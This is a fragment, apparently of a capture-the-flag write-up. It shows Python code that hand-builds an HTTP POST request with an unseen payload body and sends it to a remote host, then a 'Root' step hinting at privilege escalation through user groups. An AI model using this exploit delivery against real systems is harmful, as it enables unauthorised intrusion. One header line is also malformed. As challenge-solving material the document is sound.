payload += b"Host: %s\r\n" % HOST
payload += b"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\r\n"
payload += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
payload += b"Content-Type: application/x-www-form-urlencoded\r\n"
payload += b"Content-Length: %d\r\n\r\n" % len(content)
payload += content

p = remote(HOST, PORT)
p.send(payload)
p.close()

Root

  • Check your user’s groups.